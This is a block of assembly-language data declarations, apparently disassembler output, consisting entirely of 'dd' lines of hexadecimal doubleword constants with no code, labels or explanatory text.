		dd 5B1A2A0Bh, 19C400C1h, 0A02FD5DCh, 9A6AA6D5h,	3BAA0E8Ch
		dd 0E30074E2h, 36B84C2Ah, 177E701h, 0B64E28FDh,	0BCC72180h
		dd 299A0AF3h, 58B9DC07h, 0A00089F8h, 22C22Fh, 43A3F152h
		dd 5A7682ACh, 0D71C4CF6h, 8500A14Ah, 7BCA651Bh,	0F0CF0033h
		dd 0DEE2AC19h, 130021AEh, 0D256745Ch, 0EE83FDC8h, 3EEE23h
		dd 64026FCEh, 0A2A37C14h, 53AA2500h, 0BB72BAD5h, 0B686015Fh
		dd 18C5AB03h, 21CBE428h, 81F6073Fh, 0D1FB9A0h, 0BEC88827h
		dd 0B5F69Dh, 56A43ADCh,	5E058017h, 63720A00h, 760B3836h
		dd 0B2D4283Ch, 97EB0088h, 0BCD8F57Dh, 440914D7h, 10B43A04h
		dd 0C5E504h, 53D1335Bh,	0D411DD5Ah, 7C18D577h, 93D9E839h
		dd 0F446002Eh, 330768C1h, 431D169Fh, 8989780h, 0FA0E48h
		dd 0A20A0581h, 5C100D8Ch
		dd 0E7CDC826h, 0F81CE900h, 64AB918h, 76FE0C0h, 4600392Ch
		dd 0CBC5C470h, 0C7CFE9h, 0C697AC05h, 0F8AB855Ch, 0A092F100h
		dd 0E91730D1h, 0B42E073Ah, 0D06F3776h, 573D4231h, 0D80289B0h
		dd 91BAFBCBh, 386452h, 109BA462h, 0CDD965A5h, 9AAB6101h
		dd 0DB6BA30Ah, 69562180h, 0FAE3446Ch, 9C14BA00h, 0E54E683Bh
		dd 51A00080h, 0D1C3499h, 0CD486933h, 4F9A00B8h,	44F0C706h
		dd 976A0954h, 9800CFBFh, 93719565h, 90035100h, 3B5C5DDEh
		dd 9A1700CDh, 31CF7F4Bh, 0C8926977h, 0D912C018h, 513E138h
		dd 3025725Ah, 8BB80F3Ch, 31227763h, 17B41103h, 804F5EE3h
		dd 0BACC8Dh, 3DD86E30h,	5B21109Ch, 0F38C2650h, 0F6AE25h
		dd 65A036B0h, 7FF40088h, 0BB34C8A6h, 0F5068B6Ah, 32CAA479h
		dd 28B30021h, 8E3EAE68h, 0F73EC5A7h, 0D4A40754h, 1EA40673h
		dd 88FF8EC0h, 8471486Eh, 0FEA33870h, 9F57BE80h,	6C796039h
		dd 2EEB6B0Eh, 0F5340117h, 4FC4D99Dh, 6EE100CFh,	23932720h
		dd 6B00092Dh, 92B9B37Eh, 6452EC1h, 29370563h, 33BB96Ch
		dd 0C512810Eh, 82C648B5h, 2158420h, 6A851BD7h, 9448B204h
		dd 5B14656Bh, 0FE401EDh, 0C0F28E25h, 7ADDDC79h,	446D0085h
		dd 84132E0Bh, 29C1CBB8h, 65643027h, 7D9520C0h, 37E2001Ch
		dd 8A91967Eh, 0C01D6DBAh, 46003F9Ah, 1AF5DA93h,	0FBB51CC7h
		dd 2B4840F3h, 0FD57D16Ch, 20507A6Eh, 0DDD33A9Ah, 0E50B1649h
		dd 0C7604F8Eh, 3BC0E76Fh, 1B214417h, 0E05C3801h, 976ECB0Dh
		dd 602034DDh, 17604053h, 0B1463008h, 6BBF0055h,	0B07BC4C2h
		dd 0B9860413h, 7ACBCC00h, 6B8402AAh, 690521BBh,	5A1380CCh
		dd 7C14F51Ah, 38ACC79Bh, 79320060h, 53ECBB94h, 60CF4889h
		dd 0E6D03A00h, 54FA013Dh, 17D33100h, 4492793Bh,	0E9C405ADh
		dd 80518AF6h, 98EC0740h, 0C29D1800h, 9E64D89h, 12F97C79h
		dd 1974FC5h, 0EF4CA864h, 0AF8F00Fh, 19643E35h, 5D22F81h
		dd 0BE88FE4h, 22FB7B0Dh, 0E63FCE80h, 0D03C027Ah, 0E4650031h
		dd 8EE8CCF3h, 7B593820h, 0E5A18700h, 0CDFC604Eh, 0CE579700h
		dd 0FE4A38B6h, 0BC355024h, 11810961h, 0DC80EB44h, 36E49F0Dh
		dd 0BD027490h, 0BFD95C60h, 9894C311h, 0C01B81C3h, 0C9571099h
		dd 590046A1h, 0D5C2E392h, 383F37Ch, 5CEA87Dh, 3393ACC3h
		dd 0C1AF6CB0h, 1B25E306h, 140BCADh, 0A31D3296h,	0DCDC83CCh
		dd 0A5007138h, 1490C53Bh, 5AD5ABh, 0DB1CEA4Bh, 1E59BC35h
		dd 0A85CD800h, 4D25F20Bh, 57C01FD5h, 901880FCh,	637C732Ch
		dd 5EE7672Eh, 0DD1F3800h, 1EF2C9A6h, 0C0EFF3C0h, 964A85EBh
		dd 7A00D547h, 7617983Ah, 18A40CA6h, 0C8446E31h,	0F00EB84h
		dd 0B4F79EC3h, 3063E7h,	0F5FC3B6Fh, 92451409h, 0EA2CD901h
		dd 0DB1DC4A7h, 9F29E0h,	0AFD36A2Dh, 0D62F0CF5h,	5FE86092h
		dd 14E84616h, 0D4A83006h, 15EB03D8h, 0D2AA0B9Ah, 0C8532101h
		dd 6DDECE48h, 0F1765C0h, 0F4C444B5h, 2CAE66A9h,	13F09F2Ah
		dd 20200272h, 0A4C89E43h, 0D5005628h, 13165CDEh, 9030E5h
		dd 0E7BF5B52h, 0DA8B6396h, 71610C02h, 0E198169Eh, 20312801h
		dd 0BA80346h, 0FDD14057h, 0A8A16829h, 855AB1B4h, 3B5115C9h
		dd 81DE64C0h, 0B6990FE5h, 0DE0C4D9h, 0DB05DF69h, 0BE002890h
		dd 0E5CAF162h, 3044EF2Dh, 0A061B238h, 8200C7F6h, 23F4B34Ah
		dd 1CF1594h, 0ED7BB1FDh, 74AC69E5h, 0EE007474h,	93926FDFh
		dd 0FE63BA15h, 0A86516D1h, 6A3C0099h, 143CA544h, 0B8157818h
		dd 11C3261h, 0D9A7D6FDh, 0D19FCCC5h, 0B5D2D0CAh, 0C958BA30h
		dd 0DE3ADAD4h, 85BE0030h, 0F5BD6F7Bh, 58E864E8h, 10F4D428h
		dd 5B50B414h, 2CBF8AE4h, 0FB0FAF40h, 6AB0003Fh,	0F45452BBh
		dd 0D400FD03h, 1D4BF9F2h, 1F40BDCFh, 3002349Ah,	7B703550h
		dd 74B4973Ch, 5080409Ch, 0CAAFCCE6h, 6EF63CF2h,	0D44C0F00h
		dd 22D356C8h, 54757700h, 0B09345Bh, 3D410301h, 35512F70h
		dd 0EDBBCC90h, 9773720Fh, 6A348FE4h, 7A033875h,	18BEB814h
		dd 8A36FE0h, 5E14BD66h,	74F6D4h, 3658BEBAh, 0A39D32h, 0C0381DDCh
		dd 0EE45A8CEh, 0A2B90B1Dh, 0BC3AB500h, 5B03E4CBh, 4645199h
		dd 0B05A2CB8h, 86DC4803h, 9D181CFCh, 1E1F63h, 7174F650h
		dd 3E03AF66h, 0DC591630h, 9E990C91h, 0E22997ECh, 0F6D22284h
		dd 397DBD44h, 9600319Fh, 634AFDEBh, 0ADE42C9Ch,	488BE90Dh
		dd 12FC2179h, 45403EE3h, 796170Eh, 0B342DE43h, 30950DD9h
		dd 8F00B0DDh, 0D33CC0A6h, 0D41F1Eh, 4B29D7A0h, 14612F16h
		dd 90104224h, 0B4369B87h, 24F42190h, 4B4F006Bh,	0C791A87Ah
		dd 6500052Ah, 9974AE0Bh, 55D30F0h, 529722DCh, 69042C2h
		dd 70E85BC4h, 8206EFD0h, 0D54699E7h, 3B800061h,	79039E0Ah
		dd 4B12B1A2h, 1C00E0C0h, 0FC0790E7h, 0D38179Bh,	85D70AA9h
		dd 0B6A780BCh, 0C795A38Ch, 0C8042072h, 56836F2h, 5DEDDC80h
		dd 0D94E033Ah, 0AD6C119Fh, 0C4BB5FC0h, 0D21BA91Eh, 582B14CCh
		dd 35BA1C1Eh, 7D6BC016h, 6D0ECE7h, 9443C00h, 0CD87C842h
		dd 347E6C7h, 8919F84Ah,	2ED8D6AAh, 340069C9h, 0BD42C8DAh
		dd 602C65C2h, 498A4837h, 92007407h, 0F875312Eh,	14338EAh
		dd 0D940FE1h, 0C4C91A8Ah, 0ACB06906h, 21FC8500h, 2D90D887h
		dd 0C18F6CAh, 40F8F5C6h, 0B60079DAh, 0EF2801Eh,	149E8819h
		dd 0BC5473EBh, 91552000h, 1B4B7A3Ch, 4E58711Ch,	0BA19B5C0h
		dd 26C43Dh, 6A49A75Ah, 42C68AF7h, 0FC566C05h, 0D040814Ch
		dd 8C8E7208h, 82766Ah, 975AE9D5h, 9FD11891h, 0CF2E077Eh
		dd 861FF5D8h, 8F0F7680h, 125EA121h, 0F3365BFh, 0C9A03656h
		dd 3B024760h, 5533Ch, 5515092Bh, 4970D8D1h, 1700D084h
		dd 0CF9374FDh, 69004E27h, 9075FE15h, 30482130h,	84211367h
		dd 0AB00227Dh, 3E50ED2Bh, 0F2F38F7h, 4A9B119Dh,	0BE8331CBh
		dd 61B8DB9Ah, 0D05DC32h, 7217A547h, 0A0DE9CE1h,	3A8E5FDCh
		dd 71FC38F3h, 0AC9D201h, 24EFBE2Eh, 0DF59B140h,	0A2741214h
		dd 40A3544Fh, 853BA73h,	9A0203EBh, 0B8CF57C4h, 4010CEABh
		dd 9E007066h, 0FD60EE4Ah, 6126BCF1h, 0C12CCE91h, 0BF759600h
		dd 0F0081AB9h, 0B642005Eh, 0F844544Bh, 5700B3A3h, 5960B412h
		dd 65D4367h, 774FADDEh,	644CC192h, 83B840FEh, 0AA933500h
		dd 0C63394E4h, 0D0631241h, 36A40181h, 209BFA0Ch, 5F0011EBh
		dd 966EC8DDh, 1C2B8B1Ah, 0C1C1DC55h, 88FFC7F8h,	0D8F8213Fh
		dd 0D000C8BCh, 24114414h, 0C080361h, 70278D8Fh,	3700A1CEh
		dd 0C001893Dh, 481CF6B2h, 5200AC10h, 0A06ECFDEh, 1F09879h
		dd 282E2000h, 0AD19D874h, 50647FD6h, 5CE5B238h,	1E009E0Ch
		dd 9D8D2ABDh, 0EB09D842h, 20D6FF5h, 836315A2h, 0D0831C58h
		dd 0CBF860h, 6B538232h,	8749CE4h, 0F42EBB00h, 2AC43B2Bh
		dd 0D360C0EDh, 0D7D63C62h, 0C1BC64E5h, 128E660Eh, 0DB564083h
		dd 247867BFh, 80B444AAh, 0BC1B9FA8h, 36002BB4h,	0CB526611h
		dd 9132DEBh, 6506F845h,	0AB151500h, 5300A3D4h, 5D0C5E6h
		dd 7F3429Bh, 0B2F7F8A2h, 184B1064h, 7F006D29h, 0BB19FDCCh
		dd 7E2517h, 5D3B1354h, 0B1AD7977h, 19F098F8h, 0F8595200h
		dd 0FF6CC8D7h, 9BAA00C1h, 9612E954h, 3C7897E0h,	0BB4D3E00h
		dd 64B8FE37h, 70FF0013h, 2B8E04ADh, 521BC14Ah, 0B8A8F8F6h
		dd 7B78801h, 5B77CBAEh,	1AB3C0D4h, 3600E12Ch, 34514F8Eh
		dd 0F233B46Ch, 7E221h, 90F3E0FAh, 0D2A91B3Ch, 4457E501h
		dd 9D0FEB3Eh
		dd 0D110C0CEh, 0D88001Fh, 1CB185E8h, 3E003094h,	0C92A9FFCh
		dd 0A046CB4Dh, 3D1292h,	0A7DBE264h, 8B923B0Ah, 0E400DC75h
		dd 75670691h, 2629F759h, 39451Fh, 0B122FE8Eh, 24720FE4h
		dd 51661500h, 7A1193F8h, 26C47885h, 8048C14Dh, 6B77FC46h
		dd 420012F6h, 5B30BA6Ah, 24C43520h, 12D09C52h, 0E68000D3h
		dd 0CAD44596h, 4379E490h, 0AB621B00h, 0CB984C56h, 50E61987h
		dd 90EE593Fh, 24009F40h, 0C99CE73Bh, 0B94D2A16h, 74F40000h
		dd 0A7B38D1Bh, 5CD41779h, 0D2870E7Bh, 0C8F78C2h, 23CBB9C0h
		dd 0C646BF6Eh, 7CE8B9h,	6465DB21h, 0D7146768h, 0F44DAF05h
		dd 10D289F7h, 745A6Ah, 780CEA23h, 0BEB727F6h, 0EE83D0Ch
		dd 1842176h, 5A4ACC7Ch,	60799CE9h, 402CC951h, 0E2009C60h
		dd 3633192h, 9C2006Ch, 168C2F5Ah, 7E00CA0Ah, 0A6F66FD9h
		dd 86A70Fh, 75332537h, 746B50D8h, 817B4339h, 4B087144h
		dd 0C8F0673Fh, 4C500F1h, 0A26A845h, 3C009DA9h, 106B49CDh
		dd 8166E2h, 12525029h, 5AE13FDFh, 0DB9E5E0Eh, 0ACFD2AA1h
		dd 0DDCBB080h, 0FF036Ah, 0C8B6BF11h, 0FD1A67E8h, 4CBD0F18h
		dd 7746D821h, 0E5B100E7h, 9A1BAA13h, 0FF004EE2h, 2DE8097Fh
		dd 0F3E441h, 0D2C9848Bh, 0FC98DB1Eh, 0B48A5A2Eh, 0A8FE1780h
		dd 0DF6523h, 41584316h,	5F9C79B4h, 8B93081Eh, 2AD7BD80h
		dd 210ABAh, 0E8D37745h,	8AF15523h, 299D0B00h, 0F45424C2h
		dd 0A301008Fh, 4ABBDC2Fh, 7700F2F9h, 0B2D625A9h, 0F51E263h
		dd 366508D1h, 0D9B7CCC3h, 17E34FC2h, 3EAF103Ch,	39D312C9h
		dd 832F5088h, 8DBD07C4h, 0D4F60A40h, 0EB4801FFh, 0D2975366h
		dd 5FDAE432h, 0A84CA928h, 0A894B7EEh, 0D346BA44h, 0D90E1ACAh
		dd 0C0EB4228h, 0E8BB9576h, 1847924h, 596C9B6Eh,	60CAC43Eh
		dd 0CC09C816h, 64B8B5D4h, 5DF44310h, 9C85259Ch,	8EB87910h
		dd 327A2C00h, 0A12A3E64h, 0E95639A3h, 470900F0h, 1E94C94Eh
		dd 1803FA38h, 0A9507E3Bh, 0DE4017B4h, 9E2603F3h, 0BAB0891Fh
		dd 4F00052Bh, 0A7400A86h, 39208780h, 1007997h, 0E5E85785h
		dd 7E2A2BCh, 807B9F3Ch,	0F794F952h, 7CA4B8E0h, 5D8B0CF6h
		dd 0AE30422Fh, 330035EAh, 5C6A6581h, 0F7169Dh, 0B56CD1C4h
		dd 48366361h, 0C200D5FAh, 0D9E15FB2h, 1680ADh, 9F268B97h
		dd 5033DB94h, 0B900497Bh, 44AD9D7h, 0B23707h, 1F19616Eh
		dd 0B711056Bh, 13D6710Eh, 43E440DFh, 0AF1C85h, 6FC4DA9Eh
		dd 0C7A29045h, 570754FCh, 61462C70h, 9BD1950h, 0CE360E0Eh
		dd 6A41809Bh, 2C479C87h, 96FDBC2Ch, 485FE4Ch, 7A1C06D5h
		dd 0D1001061h, 0FF4778B8h, 0BECCFE2Ch, 3FEC08DCh, 67ABD88h
		dd 297696D1h, 2D110A42h, 7D291131h, 217C4C11h, 0A2B01F16h
		dd 0DB110542h, 8222179h, 71903210h, 21B1858Eh, 2136914Eh
		dd 326124EDh, 31105A29h, 8D989CAh, 666544D2h, 0C0A02284h
		dd 51113542h, 872216Ah,	0A190C295h, 9E42F388h, 0C5352233h
		dd 0E0219D24h, 10AA1250h, 8989C7F7h, 53440208h,	5D7888B6h
		dd 0AFF3D400h, 75C9AE06h, 0F0D51C5Eh, 0C7A80690h, 0E4012173h
		dd 8BCB82DEh, 56D8300Ch, 3D8F0458h, 0B02A3BF2h,	0BA009324h
		dd 3268AAFBh, 73676DDCh, 0E8410045h, 971FB684h,	203F0E2Eh
		dd 0F812025Bh, 0C08B2F7Bh, 9E7669h, 0C5098318h,	0A0926955h
		dd 0C9A6E900h, 1B6EF061h, 10EB6020h, 9A514D5Dh,	5E21B860h
		dd 0A43FF0h, 0FD4F09B0h, 2F106C6Dh, 20A58D2Dh, 4EC7E008h
		dd 0F45092E3h, 988E0072h, 8ACB3C0Fh, 80005CC6h,	1DF7B1DFh
		dd 6F368Fh, 5F33BA76h, 8D0F8E7Eh, 0B1532A00h, 0A438CABCh
		dd 69D30027h, 0A1019254h, 7700D274h, 95E38188h,	6D3D59h
		dd 0D4C41DCh, 0AB9CEE60h, 0B9488261h, 51D83C38h, 0CDDC0913h
		dd 0F0A12559h, 40270EB3h, 0B0F6D98Ch, 69A43D00h, 0AD6886FEh
		dd 38940012h, 17B956F9h, 0EE073A0Bh, 0EB844F46h, 4B0C878Fh
		dd 37CFA8B0h, 0F66600B7h, 0CCAA63FCh, 0C4004539h, 0BAB2E0Ah
		dd 0BF169Fh, 6A759D4h, 0AC2326F7h, 64188B09h, 91ACC030h
		dd 0E439000Ah, 215CC771h, 0DB00CBC2h, 38B4F125h, 0EBF522Ah
		dd 0FDC96C3Ah, 3FE34E0h, 0C10729E5h, 0F0B2615h,	0C0DF74F2h
		dd 72B6AF3Bh, 305038E7h, 4058619Eh, 8BEC456Bh, 901F18B7h
		dd 0F0AE4314h, 88D15401h, 7A00AAFDh, 440012EBh,	7CFA33B0h
		dd 317E608h, 0F84DB147h, 2100067Eh, 5A3C6CF7h, 0ECD96Ah
		dd 39084B29h, 0D2DF7050h, 1421200h, 0F25C1373h,	3F0B806h
		dd 0A11AC6BCh, 59B88F1Eh, 6300DDD8h, 5A9C118Dh,	4754477h
		dd 15AFC791h, 0E2CA899h, 62FA97B7h, 54B6A057h, 21681F44h
		dd 140DF700h, 126BBA8Bh, 0A0DEB0BDh, 0DF1B2DBCh, 0A8383705h
		dd 7389633h, 6F04D145h,	6000C9C3h, 0CBAD05ABh, 25261212h
		dd 70F83840h, 9004AEh, 0D779B817h, 3E193397h, 74596A00h
		dd 0BF85CD5Fh, 2AEC01DCh, 0C072089h, 7C40D231h,	0AB9D72CEh
		dd 40064ACh, 9C55C2DBh,	0E20895F1h, 422B0064h, 4FB24B5Ah
		dd 1F050058h, 0CAD86E3Bh, 3C181C81h, 3898EA6Dh,	1B927D86h
		dd 0A8B4A380h, 0E01887DCh, 3D09ACFAh, 852DB24h,	2392D607h
		dd 0FF51B030h, 0A47400F2h, 0B1CCE50Ch, 0A6093B5Bh, 0D02CF842h
		dd 941C2E80h, 0EE47001Ch, 951DB589h, 1C513026h,	21B3870Ch
		dd 429E0225h, 70CDCB0Bh, 4F4F54F0h, 5D6A5C04h, 7AD3FAC0h
		dd 56EA263Bh, 27AD0240h, 2C8A6D05h, 0D82F0038h,	4EB014D0h
		dd 0EC07FF75h, 0B404E0CDh, 857B23A0h, 0C591006Ch, 8C64A8BCh
		dd 17131FBEh, 500092E7h, 0F9E4AC3Ah, 6005004Eh,	8ECEC584h
		dd 1D00836Bh, 93820D44h, 44922CFh, 0D8BE0967h, 0B8BA82F8h
		dd 0B32D2D60h, 4572B400h, 0E53CA4CCh, 0A7D8E141h, 54F400C4h
		dd 56095C63h, 0D6F005C8h, 31000F7Ah, 880D7ECDh,	0FC4044E0h
		dd 0E77D4Fh, 865E5CFBh,	0FABC71EEh, 7389691Ch, 7E9AA000h
		dd 26BA946Bh, 4E07Ch, 3CB7CBF2h, 760E74E1h, 0A37253BCh
		dd 0D026DDCCh, 18B41019h, 307199BEh, 4B1FD346h,	8FC51634h
		dd 90B09EEEh, 0C0660F49h, 0FAE05393h, 3A0A822Dh, 0AC41ED00h
		dd 0C315CAAFh, 6D652497h, 402811h, 0CE016F2Ch, 1AAD1BE7h
		dd 7C6C1300h, 0BB19FECBh, 21296018h, 7073E2B4h,	44B93500h
		dd 6E06D025h, 0B32304F2h, 0AAE924BAh, 50372300h, 131ED331h
		dd 0C81064AFh, 30E060B8h, 0B818E301h, 0A6F9747Ah, 0BF42E0h
		dd 0FFFA816Eh, 4710E50Bh, 2E034B7Ch, 5ACB8A45h,	1DDED8DBh
		dd 8C2B00BCh, 9D8E5FA2h, 16265218h, 0CF00E5A8h,	949147Bh
		dd 2D8F0BCDh, 4900CCE4h, 321503B2h, 0D4BED300h,	3027010Bh
		dd 1ED2006Fh, 526286BFh, 7F1D401Ch, 58806C2Dh, 0F233739Ch
		dd 0F914015Ah, 0EE09D188h, 0E813C802h, 73A1F500h, 63298BBBh
		dd 6CF2E2h, 0A36D5A66h,	6A4623CDh, 3619300h, 20AFB965h
		dd 0F1A757Ch, 7550BD72h, 0D6CC5E00h, 0BF3CE4CBh, 0CA18012h
		dd 937FC3A4h, 6ACA0EDAh, 0B800ED7Ah, 0AC59ECCCh, 9600B498h
		dd 5428861Fh, 5A68C6DFh, 0D9744194h, 80926AC4h,	8F891321h
		dd 42D9E0Eh, 0F45725C0h, 0D09C8785h, 0CD7E6E26h, 0A85F4F04h
		dd 0B4C001CEh, 985E8360h, 0E5812640h, 0FDDC0060h, 0B0CD231Bh
		dd 0CEEFC00h, 0A8433D3Ch, 0DA7F2CCBh, 0C0911495h, 0F6599307h
		dd 7AC9714h, 8D3C3053h,	0B10024AAh, 0A248A88Eh,	9D4EE6h
		dd 4A84750Fh, 103E9CEh,	5AC08B4Ah, 392E6225h, 0EA00BF23h
		dd 59A4C2E3h, 3300D467h
		dd 50066AB6h, 1829DA0h,	0BF5C0894h, 0F4DCB2BBh,	1300AD27h
		dd 69D51BD9h, 0E55C3F4h, 0A99A818Bh, 179E5200h,	28C06BB3h
		dd 0B5017A8Eh, 835D05B1h, 807C8CA6h, 6B4687E0h,	0E09B1C30h
		dd 694B45h, 0B535BE53h,	0E6B03404h, 8FA9EF00h, 0F14EDC7Dh
		dd 47971F1Eh, 94044007h, 0B27FD7AAh, 0F4F95530h, 15C6ADh
		dd 0C31B6328h, 7FDB6C18h, 0B6577600h, 0E9E74866h, 0D54307F5h
		dd 82CBBD65h, 0F080AB69h, 0B8360FA6h, 962F4516h, 7BCAF401h
		dd 607085FBh, 0F02200DAh, 0F80338B5h, 0EE00DEB8h, 0C795505Dh
		dd 0E6D4B484h, 72CEB843h, 14AFE62Eh, 0F0027ED8h, 0AEB31008h
		dd 0A65D8F00h, 3261ED1h, 12B974EFh, 5B9078D8h, 0CF86ACFh
		dd 83F02D5Ch, 988F58C6h, 8E6692h, 0AEAB126h, 0D329037Ch
		dd 8031993Bh, 44AB1A8Ah, 3CCE9306h, 0DB38F9D0h,	6A2EF680h
		dd 0CCF12902h, 661D0900h, 3D946CF4h, 0F77F009Bh, 0C0B1885Ch
		dd 1900C4E0h, 1533C24Ah, 0F12EB9h, 0FC874EA7h, 0FB4F9D07h
		dd 3FD64300h, 1C4C297Bh, 0EFD300B4h, 46CE3A9Fh,	800492Ch
		dd 9BE25795h, 22A573h, 0C962B3DBh, 4259DDCEh, 5FCD9E05h
		dd 64822F54h, 0BB8F2D3h, 0D1A50AE3h, 14640402h,	21C2D0F2h
		dd 744EAA40h, 9A2E3E54h, 14B00EEh, 696EFF35h, 517ED3Fh
		dd 55960756h, 73416480h, 82A49459h, 0EEE528E1h,	0D4688262h
		dd 54005750h, 0D41639F8h, 14FC9973h, 908E911Ch,	42884500h
		dd 0BD2E8B2Ah, 794EAE09h, 40380EF6h, 7A7FB834h,	832400C1h
		dd 938676BFh, 0AF0015BCh, 0CFD864B1h, 99FA27Fh,	8D614DEEh
		dd 4B82100h, 3A67F370h,	4775D650h, 0D0E6B9C0h, 1E361D1Dh
		dd 1FFA80D9h, 153194B0h, 2F8E9C00h, 63D3E461h, 8453006Dh
		dd 0C1757230h, 0C91E35E1h, 9205153Dh, 0E8F46EECh, 0DAFAF2h
		dd 9C6A5452h, 889A7D58h, 0F1B55D00h, 662FFE7Fh,	0A139007Ch
		dd 1B1EE2F0h, 7CB86902h, 0CE064300h, 18B47730h,	0E04D4C9Ah
		dd 26763717h, 3A03211Ch, 0BF70C0FDh, 81E9CB57h,	0B1ECDB9Fh
		dd 0E60C004Dh, 0E0AFA80Dh, 0DA00ED67h, 0E3C6511Bh, 7F0C7D2h
		dd 4ECB3146h, 3E48F038h, 100D18Fh, 77AB94C5h, 13189165h
		dd 847C8Ah, 93C816F4h, 861EB92Ch, 6EC08090h, 9DF6C16Bh
		dd 4540017h, 93C4FBC3h,	8B000874h, 0B7F00F28h, 73D6D461h
		dd 0ECDA5C3Ch, 66F340h,	7EB36D52h, 5E57CA5Dh, 0C34E7901h
		dd 0B185D8E7h, 7A35A8C0h, 0C8E53C62h, 0F0D0BF80h, 3DAB5340h
		dd 0FE81A201h, 318A5B44h, 6024B4CDh, 0B8B973h, 71C5AA02h
		dd 398E942h, 2131D0B1h,	0F2ECAE0h, 0FA8091C0h, 0E1EB7BB2h
		dd 19F5558h, 2F768DC9h,	52C96836h, 0D3F86021h, 0E73B0039h
		dd 0FD8D919Ah, 740010F9h, 99512480h, 389B2Eh, 0DBAE9807h
		dd 0C93B1363h, 79451000h, 6FFBAA93h, 0FF1400E4h, 63D88E76h
		dd 4860EA81h, 21A80929h, 0FAC4F2AAh, 0AD6D007Ah, 3D22776Ah
		dd 0C5009582h, 80BD23A8h, 89D790h, 5A4C218Eh, 451C0871h
		dd 4B076EB8h, 1679DA5Eh, 759DB720h, 3AF054Fh, 0B85857A0h
		dd 0A33F0040h, 5AC87935h, 0A199256Ch, 8B6F0480h, 274A0C63h
		dd 91808484h, 0C05280F1h, 0CECAA711h, 0E2068EFAh, 31891722h
		dd 4CB32550h, 0FC24E464h, 0E900D0B0h, 0DE3FEB8Eh, 0C40D2E9Fh
		dd 0D0F90050h, 4C863894h, 645EA309h, 13FC00C8h,	6A7C28h
		dd 1FCF95F7h, 295DA9D9h, 8051433Bh, 855FE903h, 6F37C1h
		dd 4A71E33Eh, 36A2AD65h, 40A6720Bh, 60AD8014h, 30330259h
		dd 0E458F4A1h, 0BB0481E7h, 0AB22A256h, 0F70BDCFCh, 9003980h
		dd 2E0E856Dh, 76EC101h,	0AF3D0F8Eh, 0CDBF4h, 35F00D49h
		dd 0F27A9EDEh, 1E550A0Fh, 24CA00B3h, 71124C43h,	0D6F60029h
		dd 0C40522EBh, 475811F5h, 0E0370050h, 2F8B080h,	1D0DF6ECh
		dd 0C00488A9h, 3D70CA8Fh, 0BB00DB1Dh, 0C1EDB116h, 98217568h
		dd 0BC0D0045h, 15D3FB0h, 0FC78D39Ah, 0F4911900h, 9C2B1F32h
		dd 55D20010h, 6CC5EF3Ah, 65005108h, 88945FE2h, 0F230B9h
		dd 41DD9502h, 0CF20E34Ch, 0CC0AB48h, 29E046AFh,	0C12A48BFh
		dd 2B002C3Fh, 62FEF6EEh, 0C400C293h, 2C0914Bh, 0F845D3h
		dd 3F01802Fh, 0F261300Eh, 640059EEh, 0C96F87FAh, 14BBB4h
		dd 0F3471AA1h, 0EF5F6BD8h, 0FFE20414h, 369E00BCh, 0FEE64F65h
		dd 0F6D00C20h, 8395B83h, 0D4B958h, 1933E34h, 0A30BAAh
		dd 0A252732Ch, 61A7DFDDh, 1B00447Dh, 4F23F30h, 0F5DF9h
		dd 9C3BFCC9h, 5131261Dh, 130072FCh, 0C4E1EA4Bh,	12365A7h
		dd 0B87E9ACh, 0F88E44AFh, 0AE02571Dh, 3F3E2F67h, 0E8508Bh
		dd 515B907h, 9244EC38h,	0F3F7D93Ch, 0F6915D0Fh,	4B80A10Ah
		dd 303FC3A4h, 26FA0750h, 9477861Eh, 6FB1790Fh, 0CB320E5h
		dd 6059A699h, 0E42439E9h, 743B53ABh, 0F2F80E76h, 0F73244F3h
		dd 330E0CECh, 6540C312h, 242FE64Eh, 1962E200h, 0E03104F1h
		dd 21BF0059h, 64E426ABh, 0C00FC1Fh, 0E937B6BDh,	1467265h
		dd 0A86624C0h, 0BB54C6E2h, 0F21F8018h, 3C58A322h, 0F37C00CCh
		dd 0B8596EC2h, 8E00CE37h, 0C1A826Ah, 188FF2h, 6B4E9B46h
		dd 1BFDDE3Bh, 9CF55312h, 9F26400h, 163027ABh, 0B0552489h
		dd 8318EAC4h, 80A48A7Ah, 77859820h, 34DA0043h, 0BFB14BB3h
		dd 261328EDh, 0E085A9BCh, 611F2C00h, 1D6EC997h,	0C0E53358h
		dd 0E29E4F0Eh, 0B9002BD0h, 0F9DFFE37h, 260F35F8h, 803CDE78h
		dd 30A725F0h, 3F48536Eh, 359612ECh, 0A0122609h,	85C76040h
		dd 404C3B49h, 8E5A4600h, 5CC69995h, 8612CE03h, 0DE6BB9h
		dd 0A0134AA0h, 0B7FC1BFEh, 9A35F600h, 97B5FF5Ah, 9C730615h
		dd 683A83D9h, 2CF9C60Eh, 8BC20081h, 0E1E84Bh, 0E543B4EAh
		dd 7BEBD6Fh, 0F6C86600h, 15E25CF5h, 0A2B81C18h,	655C070h
		dd 0FCB21AD3h, 0A6B61F07h, 2D10D5A0h, 483B80h, 205082D7h
		dd 0F7D4D9C2h, 1965D600h, 163EEF95h, 10A000E8h,	32A7A370h
		dd 37174EC6h, 0F8101E8Bh, 8D7B00C0h, 0E7E96C3Ah, 42D801F2h
		dd 0CF98DF35h, 0B52C8088h, 25CA7369h, 6C4901E5h, 3C530BBDh
		dd 2440D4AFh, 35DF9CA0h, 758BC00h, 0DDA106EFh, 5C59FE36h
		dd 21982008h, 0BA04B64Ch, 78C5C370h, 472D38E8h,	19B548E8h
		dd 8492834Bh, 6594C15Eh, 3F508F41h, 5A08006Eh, 9CEC4DD9h
		dd 9EA9B600h, 92C74518h, 71F0FBCh, 4B699AE6h, 0A4E4C080h
		dd 3FEC424Ch, 89564500h, 69C2EFC3h, 609821h, 717ACA3Ah
		dd 5B8C27F5h, 54FE5900h, 0B4553784h, 0F400B92Bh, 9C005E47h
		dd 0C5AE6FC9h, 0D10ED221h, 80DD7E2Fh, 189DB819h, 3A7F1DD0h
		dd 18A52EE9h, 139920ACh, 0A87A6A1Fh, 50DCEF80h,	7EFE9592h
		dd 88E86FB6h, 405CA200h, 4B1EBADEh, 0A9C007F9h,	73B30D28h
		dd 0B9D938EBh, 84437A80h, 380987C7h, 0E0D54F27h, 5EF8DCh
		dd 0A27BFB8Dh, 12EB08FCh, 9DDEB60Fh, 5F180074h,	0A039F3D0h
		dd 50BACEB4h, 1CB3E8C1h, 0C44A9B03h, 0C659EB33h, 0C40050E3h
		dd 0C80FEAD0h, 71D284h,	0B7DA687Ah, 4A0A6E2Bh, 0D13F2900h
		dd 3C8FCC18h, 27D400F1h, 2FF56FF9h, 2E3A6501h, 0D1A703F3h
